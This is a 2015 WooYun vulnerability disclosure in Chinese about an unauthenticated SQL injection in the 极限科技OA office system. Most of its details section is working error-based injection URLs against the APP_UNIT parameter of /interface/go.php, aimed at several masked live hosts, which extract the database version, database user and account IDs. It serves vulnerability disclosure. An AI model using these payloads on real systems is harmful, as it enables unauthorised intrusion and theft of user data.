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缺陷编号:wooyun-2015-0143519

漏洞标题:极限科技OA系统SQL注入(无需登录)

相关厂商:极限科技OA

漏洞作者: 路人甲

提交时间:2015-09-29 11:31

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-09-29: 细节已通知厂商并且等待厂商处理中
2015-10-01: 厂商已经确认,细节仅向厂商公开
2015-10-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-25: 细节向核心白帽子及相关领域专家公开
2015-12-05: 细节向普通白帽子公开
2015-12-15: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

RT

详细说明:

极限科技OA:
官网:
http://**.**.**.**/
下载地址:
http://**.**.**.**/download/
官方demo:
http://**.**.**.**:81/
sql注入(无需登录)
EXP及案例:

http://**.**.**.**:81/interface/go.php?APP_UNIT=aa%2527%20and%201=(select%201%20from(select%20count(*),concat(version(),0x7c,user(),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
http://**.**.**.**/interface/go.php?APP_UNIT=aa%2527%20and%201=(select%201%20from(select%20count(*),concat((select%20concat(0x7c,USER_ID,0x7c)%20from%20user%20limit 1,1),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
http://**.**.**.**:86/interface/go.php?APP_UNIT=aa%2527%20and%201=(select%201%20from(select%20count(*),concat((select%20concat(0x7c,USER_ID,0x7c)%20from%20user%20limit 888,1),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
http://**.**.**.**/interface/go.php?APP_UNIT=aa%2527%20and%201=(select%201%20from(select%20count(*),concat((select%20concat(0x7c,USER_ID,0x7c)%20from%20user%20limit 1,1),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
http://**.**.**.**:2013/interface/go.php?APP_UNIT=aa%2527%20and%201=(select%201%20from(select%20count(*),concat(version(),0x7c,user(),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
http://**.**.**.**/interface/go.php?APP_UNIT=aa%2527%20and%201=(select%201%20from(select%20count(*),concat(version(),0x7c,user(),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271


sql注入3-案例1.png


sql注入3-案例2.png

漏洞证明:

如上

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-10-01 20:06

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态:

暂无